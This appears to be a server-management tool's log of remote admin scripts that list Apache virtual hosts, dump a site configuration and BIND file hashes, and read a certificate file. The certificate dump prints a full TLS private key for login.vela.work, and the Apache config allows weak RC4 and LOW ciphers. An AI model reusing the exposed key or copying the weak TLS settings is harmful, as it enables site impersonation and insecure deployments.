MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.conf)= fa27de2710b5a788f7b06af0b88b058e
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.txt)= fd137abd12b564c60a25d7c8ee1677ee
MD5(/var/cache/bind/cf381d1fff06090b5818429e32e6000e.conf)= 0c602ebd02403b745f34fa146858295c
MD5(/var/cache/bind/cf381d1fff06090b5818429e32e6000e.txt)= f40f6a600e6f86861c8cb4d0f14eea17
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= eebe5ece7f3ba31853415b418c8cf9e1
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= c980bdf14805f6ec8205412031ee5848
MD5(/var/cache/bind/26d0b9e50bf0aadee17752807d692a2e.conf)= 8f23314b26a5a62466b1935b4344b379
MD5(/var/cache/bind/26d0b9e50bf0aadee17752807d692a2e.txt)= 7a6fd8c70b6f0cc9743ae2c949a5c79a
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-06-19 11:30:45: Establishing a connection
2026-06-19 11:30:46: 

PUT: /tmp/pkp259058

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl -S
fi
echo .

2026-06-19 11:30:46: 

chmod 755 /tmp/pkp259058; /tmp/pkp259058; rm /tmp/pkp259058

2026-06-19 11:30:46: 


VirtualHost configuration:
*:80                   is a NameVirtualHost
         default server 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
         port 80 namevhost 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
         port 80 namevhost mars.hostz.org (/etc/apache2/sites-enabled/000-hostz_mars_org.conf:2)
         port 80 namevhost baptizo.info (/etc/apache2/sites-enabled/baptizo_www_info.conf:2)
                 alias www.baptizo.info
         port 80 namevhost bible-basics.info (/etc/apache2/sites-enabled/bible-basics_www_info.conf:2)
                 alias www.bible-basics.info
         port 80 namevhost biblebasicsonline.com (/etc/apache2/sites-enabled/biblebasicsonline_www_com.conf:2)
                 alias www.biblebasicsonline.com
         port 80 namevhost carelinks-uk.org (/etc/apache2/sites-enabled/carelinks-uk_www_org.conf:2)
                 alias www.carelinks-uk.org
         port 80 namevhost carelinks.org.uk (/etc/apache2/sites-enabled/carelinks_www_org-uk.conf:2)
                 alias www.carelinks.org.uk
         port 80 namevhost carelinksaustralia.info (/etc/apache2/sites-enabled/carelinksaustralia_www_info.conf:2)
                 alias www.carelinksaustralia.info
         port 80 namevhost christadelphian.video (/etc/apache2/sites-enabled/christadelphian_www_video.conf:2)
         port 80 namevhost christadelphianfraternal.info (/etc/apache2/sites-enabled/christadelphianfraternal_www_info.conf:2)
                 alias www.christadelphianfraternal.info
         port 80 namevhost croydonchurch.info (/etc/apache2/sites-enabled/croydonchurch_www_info.conf:2)
                 alias www.croydonchurch.info
         port 80 namevhost dalmenynaroomabushwalkers.info (/etc/apache2/sites-enabled/dalmenynaroomabushwalkers_www_info.conf:2)
                 alias www.dalmenynaroomabushwalkers.info
         port 80 namevhost exjw.org.uk (/etc/apache2/sites-enabled/exjw_www_org-uk.conf:2)
                 alias www.exjw.org.uk
         port 80 namevhost freebible.info (/etc/apache2/sites-enabled/freebible_www_info.conf:2)
                 alias www.freebible.info
         port 80 namevhost backup.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_backup_org.conf:2)
         port 80 namevhost media.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_media_org.conf:2)
         port 80 namevhost maminas.info (/etc/apache2/sites-enabled/maminas_www_info.conf:2)
                 alias www.maminas.info
         port 80 namevhost osnowybiblii.info (/etc/apache2/sites-enabled/osnowybiblii_www_info.conf:2)
                 alias www.osnowybiblii.info
         port 80 namevhost persianchurch.info (/etc/apache2/sites-enabled/persianchurch_www_info.conf:2)
                 alias www.persianchurch.info
         port 80 namevhost croydon.pjy.us (/etc/apache2/sites-enabled/pjy_croydon_us.conf:2)
         port 80 namevhost home.pjy.us (/etc/apache2/sites-enabled/pjy_home_us.conf:2)
         port 80 namevhost r-b-c.org (/etc/apache2/sites-enabled/r-b-c_www_org.conf:2)
                 alias www.r-b-c.org
         port 80 namevhost realchrist.info (/etc/apache2/sites-enabled/realchrist_www_info.conf:2)
                 alias www.realchrist.info
         port 80 namevhost vards.info (/etc/apache2/sites-enabled/vards_www_info.conf:2)
                 alias www.vards.info
         port 80 namevhost login.vela.work (/etc/apache2/sites-enabled/vela_login_work.conf:2)
*:443                  is a NameVirtualHost
         default server mars.hostz.org (/etc/apache2/sites-enabled/000-hostz_mars_org.conf:19)
         port 443 namevhost mars.hostz.org (/etc/apache2/sites-enabled/000-hostz_mars_org.conf:19)
         port 443 namevhost baptizo.info (/etc/apache2/sites-enabled/baptizo_www_info.conf:23)
                 alias www.baptizo.info
         port 443 namevhost bible-basics.info (/etc/apache2/sites-enabled/bible-basics_www_info.conf:23)
                 alias www.bible-basics.info
         port 443 namevhost biblebasicsonline.com (/etc/apache2/sites-enabled/biblebasicsonline_www_com.conf:23)
                 alias www.biblebasicsonline.com
         port 443 namevhost carelinks-uk.org (/etc/apache2/sites-enabled/carelinks-uk_www_org.conf:23)
                 alias www.carelinks-uk.org
         port 443 namevhost carelinks.org.uk (/etc/apache2/sites-enabled/carelinks_www_org-uk.conf:23)
                 alias www.carelinks.org.uk
         port 443 namevhost carelinksaustralia.info (/etc/apache2/sites-enabled/carelinksaustralia_www_info.conf:20)
                 alias www.carelinksaustralia.info
         port 443 namevhost christadelphian.video (/etc/apache2/sites-enabled/christadelphian_www_video.conf:23)
         port 443 namevhost christadelphianfraternal.info (/etc/apache2/sites-enabled/christadelphianfraternal_www_info.conf:23)
                 alias www.christadelphianfraternal.info
         port 443 namevhost croydonchurch.info (/etc/apache2/sites-enabled/croydonchurch_www_info.conf:23)
                 alias www.croydonchurch.info
         port 443 namevhost dalmenynaroomabushwalkers.info (/etc/apache2/sites-enabled/dalmenynaroomabushwalkers_www_info.conf:23)
                 alias www.dalmenynaroomabushwalkers.info
         port 443 namevhost exjw.org.uk (/etc/apache2/sites-enabled/exjw_www_org-uk.conf:23)
                 alias www.exjw.org.uk
         port 443 namevhost freebible.info (/etc/apache2/sites-enabled/freebible_www_info.conf:23)
                 alias www.freebible.info
         port 443 namevhost backup.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_backup_org.conf:28)
         port 443 namevhost media.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_media_org.conf:26)
         port 443 namevhost maminas.info (/etc/apache2/sites-enabled/maminas_www_info.conf:23)
                 alias www.maminas.info
         port 443 namevhost osnowybiblii.info (/etc/apache2/sites-enabled/osnowybiblii_www_info.conf:23)
                 alias www.osnowybiblii.info
         port 443 namevhost persianchurch.info (/etc/apache2/sites-enabled/persianchurch_www_info.conf:23)
                 alias www.persianchurch.info
         port 443 namevhost croydon.pjy.us (/etc/apache2/sites-enabled/pjy_croydon_us.conf:22)
         port 443 namevhost home.pjy.us (/etc/apache2/sites-enabled/pjy_home_us.conf:23)
         port 443 namevhost r-b-c.org (/etc/apache2/sites-enabled/r-b-c_www_org.conf:23)
                 alias www.r-b-c.org
         port 443 namevhost realchrist.info (/etc/apache2/sites-enabled/realchrist_www_info.conf:23)
                 alias www.realchrist.info
         port 443 namevhost vards.info (/etc/apache2/sites-enabled/vards_www_info.conf:23)
                 alias www.vards.info
         port 443 namevhost login.vela.work (/etc/apache2/sites-enabled/vela_login_work.conf:22)
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
ServerRoot: "/etc/apache2"
Main DocumentRoot: "/var/www/html"
Main ErrorLog: "/var/log/apache2/error.log"
Mutex ssl-stapling: using_defaults
Mutex proxy: using_defaults
Mutex ssl-cache: using_defaults
Mutex default: dir="/var/run/apache2/" mechanism=default 
Mutex mpm-accept: using_defaults
Mutex watchdog-callback: using_defaults
Mutex rewrite-map: using_defaults
Mutex ssl-stapling-refresh: using_defaults
PidFile: "/var/run/apache2/apache2.pid"
Define: DUMP_VHOSTS
Define: DUMP_RUN_CFG
User: name="www-data" id=33
Group: name="www-data" id=33
.




STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message


2026-06-19 11:30:46: 

PUT: /tmp/pkp108629

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/apache2/sites-available/vela_login_work.conf')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2026-06-19 11:30:46: 

chmod 755 /tmp/pkp108629; /tmp/pkp108629; rm /tmp/pkp108629

2026-06-19 11:30:46: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-available/vela_login_work.conf	1302

<VirtualHost *:80>
    ServerName	login.vela.work
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/vela_login/public
    <Directory /var/www/vela_login>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/vela/login_access.log combined
    ErrorLog	/var/log/apache2/vela/login_error.log
    SetEnv pkp_uid	4
    SetEnv pkp_owner	phil
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>

<VirtualHost *:443>
    ServerName	login.vela.work
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/58d509bc8051d01cd9d10836cb4779a8.crt
    DocumentRoot	/var/www/vela_login/public
    <Directory /var/www/vela_login>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/vela/login_secure_access.log combined
    ErrorLog	/var/log/apache2/vela/login_secure_error.log
    SetEnv pkp_uid	4
    SetEnv pkp_owner	phil
</VirtualHost>







2026-06-19 11:30:46: 

PUT: /tmp/pkp804474

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/ssl/certs/58d509bc8051d01cd9d10836cb4779a8.crt')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2026-06-19 11:30:46: 

chmod 755 /tmp/pkp804474; /tmp/pkp804474; rm /tmp/pkp804474

2026-06-19 11:30:46: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/ssl/certs/58d509bc8051d01cd9d10836cb4779a8.crt	7416
ef:9b:c8:c4:01:d1:9d:63:79:42:98:9d:7f:24:13:6a

-----BEGIN CERTIFICATE-----
MIIE+jCCA+KgAwIBAgISBafiDnBkmdtt7+XXLUxxP5xRMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNZUjIwHhcNMjYwNjE5MTAyNzA4WhcNMjYwOTE3MTAyNzA3WjAaMRgwFgYDVQQD
Ew9sb2dpbi52ZWxhLndvcmswggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIB
AQDYzq7wranAU68I3IEXU8SPOh2g1XyDJxh4Txv/mIfGEUhnH5wBdrACfnPCV37K
W0gLwYAGFmjzHI+BiA9sNaDEANrbbt/bdFy8SB3ZubBeRMgrFeYYqQh84BUt/tDO
XqINK8HD7yn8GbjqFmHlo1r6dXWgDp32SINav7EzXvixbLNVDWMcpLXx4DatZPqK
7NsN0hp8vhe9NHgGwc6X3LfFcdQoKvjDBtUpjFJCuY6PrQufyNHnwcKBi5+qZAgn
csNnp8/KV7AqiLdH6U2sXy0GQ4F235rFtyOgsfH46+Ya+E3vCXhZ+2MdIQufIEi1
bTSdM/vs4wIJKsl0TUGRmWpvAgMBAAGjggIfMIICGzAOBgNVHQ8BAf8EBAMCBaAw
EwYDVR0lBAwwCgYIKwYBBQUHAwEwDAYDVR0TAQH/BAIwADAdBgNVHQ4EFgQUtq8E
dpFHUUgKMWMtpCm1/4qopLEwHwYDVR0jBBgwFoAUQBUtJnntMiCe35pyHdYyH4EM
gQwwMwYIKwYBBQUHAQEEJzAlMCMGCCsGAQUFBzAChhdodHRwOi8veXIyLmkubGVu
Y3Iub3JnLzAaBgNVHREEEzARgg9sb2dpbi52ZWxhLndvcmswEwYDVR0gBAwwCjAI
BgZngQwBAgEwLgYDVR0fBCcwJTAjoCGgH4YdaHR0cDovL3lyMi5jLmxlbmNyLm9y
Zy84Mi5jcmwwggEOBgorBgEEAdZ5AgQCBIH/BIH8APoAdwDCMX5XRRmjRe5/ON6y
kEHrx8IhWiK/f9W1rXaa2Q5SzQAAAZ7foR2JAAAEAwBIMEYCIQDXwsaYRC+HO59x
Cr1CSS8poACjXKIbKUktPxuduv8C3QIhAICpklAZbuwfFIznpDA7v8IzEgASrQYJ
DUMd+tIslCZdAH8AbP5QGUOoXqkWvFLRM+TcyR7xQRx9JYQg0XOAnhgY6zoAAAGe
36Ef9AAIAAAFABEpbuAEAwBIMEYCIQCi3pE/G9Soczs33EvpXve/JotV0Bi2Bk0f
zO1uYPgwBgIhALDczNGd6/up8TD5LtCbQgwtdnrLV2d1V3JXji4bFLsrMA0GCSqG
SIb3DQEBCwUAA4IBAQCPbDenvI/wBofQLSS3bBDIU/Om+tkombCAc3p9z7jyc2iJ
lrsgHpre0RXCyIrWeTMkyzODrgMsZsWRWlaoeqit8vINiyYXaRmfELFt/6Hq/HDN
57jW1Mwgjmke8vGahVKhziyVZlKONfNdHYajCYPuOL5ICt8T/2jNj94fyifqMkXD
Mw0u78OT/pVwZCJ23qmcK+WJX++c2/5IwzG45BJNp1wFxqxoVOIOJcYnamGg3X2Q
1kWVqS3nrIHvRkFBjEqqntm9TIZpAwFbgwD2KMiIm9H/wDnJ32rfy+v/IUYIJNwV
/IK2Nk6dpiwBlIdWSUicycHn3S1zT1+gfpDdZgu5
-----END CERTIFICATE-----



-----BEGIN PRIVATE KEY-----
MIIEvAIBADANBgkqhkiG9w0BAQEFAASCBKYwggSiAgEAAoIBAQDYzq7wranAU68I
3IEXU8SPOh2g1XyDJxh4Txv/mIfGEUhnH5wBdrACfnPCV37KW0gLwYAGFmjzHI+B
iA9sNaDEANrbbt/bdFy8SB3ZubBeRMgrFeYYqQh84BUt/tDOXqINK8HD7yn8Gbjq
FmHlo1r6dXWgDp32SINav7EzXvixbLNVDWMcpLXx4DatZPqK7NsN0hp8vhe9NHgG
wc6X3LfFcdQoKvjDBtUpjFJCuY6PrQufyNHnwcKBi5+qZAgncsNnp8/KV7AqiLdH
6U2sXy0GQ4F235rFtyOgsfH46+Ya+E3vCXhZ+2MdIQufIEi1bTSdM/vs4wIJKsl0
TUGRmWpvAgMBAAECggEARkRiZYXbbQaSRax1uFJBc+wxexWGB9nNb/yvxdyxMIwc
a7POc5j8fapvKS8DXGFOTeUWcaKkvBpnFmO7H+aXpr7iL9lU+0LQ5YL4Db9FfqAL
Qg+UZiyuoA5ePuyFz0TTf7JNWAv1DwxlJpU/gFY7383e5BOotZAV5n0XWN9wecv4
8gPFq3mHMrrm7uZ0uzyfZzMpb3EBs4O98T5ALyYsG83+Siah5ZQBJXRgyesdDiHx
4RgdNocP4K3z0QmZR4czyr8zQich7staJAtTbEwJGHh12YCwFwY8Fr/VoaR0QjFY
y+cK/PtYgsC3o4hxgXfo7rL0HdD4vMItWU0YomQYoQKBgQDtbrZoJcBbTlV4dtI+
rKi/nUQvDwodcYz/yl9YZJQi2u7FFJXoUlrmDbni7FyIj3J1auKD1ZbYrAfkOTuU
a2t3BV3Ngy4OeteNAZXvQI3e6z6AByOtwKo+AWBSY564dYBRrjPHiTKsHojpxt7N
L0VQA5yD0/frvwMHv2gS9e4gzwKBgQDpwxDPCtYfwm/sorP6nGazuXcBnaeGnB9+
lnNB91q928bPgpkq4XKS3y4JXr2ySaPrQRc79FWia54oQGs/u5CQ3EvN/X5Miuwx
WcpvcyVfSUazG6lrD8kCm9GLH9yE7axzJcwILva/zbynBXIJC4FPr0T11lbrbzYq
ALMkHdhEYQKBgDCKD7Re82I3M3X7JKQ3fBAgQI42TuUSD7dDUhaqCTbO9z1HJhZm
r7qUV8oydABfAxFKFqDJC5ukH8DiinGfPEsKx9B53vKK3oIvLs3IrrhB83cM/phI
6QTgFycAwrQHIYKRUHicbcWOQIM6atYbsdnXwymYLfj+BcqRsN8fc901AoGASngY
DL05BZkdqtcSWw4kMbEt1lfxHJLz/ZHUWfmA8Obo6QaD4QM9SsjKk7WY3QlUrQdp
bXIjLcD2+3+6Ku2H2n4zsAXHjH7dS8N9GBAoobhoS3rOeArpUGlvUdDuoXJN88jg
vOKpPOU/6j1z3KnLoiUF5QNJYWtmZ+8dIq5XTUECgYAYfr/3gw5DUSBcXUfng7ig
2j7hcXXK1vGL+NSrr77qNhIL5AJVfrEqJGlHeqJW1AshOAXSh0FVW83WKv8+wztd
r6BLpfy10eLkc2XMTtC2l6cOy3TF8HaAF13EzuEsqG/cfL6knEj+KaYHEGGCHNWJ
BkHY72Ww3rlp8OxHEeu2rg==
-----END PRIVATE KEY-----


-----BEGIN CERTIFICATE-----
MIIE2jCCAsKgAwIBAgIQTr0klH4k05SALYSlL9WzGTANBgkqhkiG9w0BAQsFADAu
MQswCQYDVQQGEwJVUzENMAsGA1UEChMESVNSRzEQMA4GA1UEAxMHUm9vdCBZUjAe
Fw0yNTA5MDMwMDAwMDBaFw0yODA5MDIyMzU5NTlaMDMxCzAJBgNVBAYTAlVTMRYw
FAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQDEwNZUjIwggEiMA0GCSqGSIb3
DQEBAQUAA4IBDwAwggEKAoIBAQDZ0LxwBppqh84luqMerV/eeL/fXQ7mLQQv1Lnp
WKZbyvGpx6wh6AfnslAnF6ewTkcHA+gSOoBvm3Dfm06AuGiF+KRut4fAcowqnAQQ
CW98+QPP/eOv/wug7Iyk4NkOxf2I6g2f55T6nJoOTLFcukeRq80JGQEYan+dPFr9
OGUgQK2hGKgNkW87pappsOAuUJcroYhRt5uUis4qaZireiseu32gzDJNBAiKtsvd
6HX4v25bpkRNcS/B/Gtc9kVbUpD+2PLPxdei3Tim55k4tfAEXwD2qyiPTxrTNq6l
N+AMr5g2c1dNqkOTwjxeV6L5lpP1rGiYvLnRaPlOqyZRPW+5AgMBAAGjge4wgesw
DgYDVR0PAQH/BAQDAgGGMBMGA1UdJQQMMAoGCCsGAQUFBwMBMBIGA1UdEwEB/wQI
MAYBAf8CAQAwHQYDVR0OBBYEFEAVLSZ57TIgnt+ach3WMh+BDIEMMB8GA1UdIwQY
MBaAFN7nW2DQIm1AKH0/DQH+pLVStFGUMDIGCCsGAQUFBwEBBCYwJDAiBggrBgEF
BQcwAoYWaHR0cDovL3lyLmkubGVuY3Iub3JnLzATBgNVHSAEDDAKMAgGBmeBDAEC
ATAnBgNVHR8EIDAeMBygGqAYhhZodHRwOi8veXIuYy5sZW5jci5vcmcvMA0GCSqG
SIb3DQEBCwUAA4ICAQB0ZUQWZ9/Yn9COEpo+JfecMnB0h0vwDm/M66IqXqw3LoaL
mx9lZvRTeDIS67PUeI3yCA2W6PKRD0/FE/G57lOmS+Xy5AaaL00ICGOqjNcCaMWW
8o8nevHOd4i4lqgtznE/28QwlcdJyF8yBiWHpnyjhEpmNWJURgOCOg2xpwRMBCsj
MScqYPtOhBeuYQvSwAEeTML2Ukh6uGuX4E14q65Ja8cdjF5bAldnP1eE4FBaAwsZ
G2fOqqrKV03Y85Nw2btedP1AtliQuJZs/Jo/gXxXdc7LrH3McgnpnbTiAncX7yES
hP6kzQejllqMCIt52HOjxDGWafS7Xw+DKwqmH+Eqy8dcbOuag/1AYlQoKNVK3F5q
Hh6tEDiMqQcLIibGKteE6iHo4A/bIScbzrhXUYuism42ZYzmc48FMVIH3qy4L84E
TdAH2gtxw0PAhvRVXp8HP7wfngpzsN/8xOTpeRSbM4+Qbc56G6+Bifmv6sk1ieQb
NA3wJdl4DDUuQSV8hBgx6zoI1ZSGORprDFux7c6rhc77QZMSRrEgomBeklervEve
86ylWmZ3WWHV6RLMi8xNvjd71r4EPIGgY7BZU/VPBkq+uA7Gb6mbJnFgV43uh3xy
LRFgxIAphIukwTGSMZZR+AI+Qnp0BYTWovHXozOf3H8r6hozEoT02JHn0AeTfA==
-----END CERTIFICATE-----

-----BEGIN CERTIFICATE-----
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
-----END CERTIFICATE-----






2026-06-19 11:30:46: Establishing a connection
2026-06-19 11:30:47: 

PUT: /tmp/pkp830720

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-06-19 11:30:47: 

runuser -l bind -s /bin/bash -c '/tmp/pkp830720; rm /tmp/pkp830720'

2026-06-19 11:30:47: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= 8227830310fbff06ce05450e47b27977
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
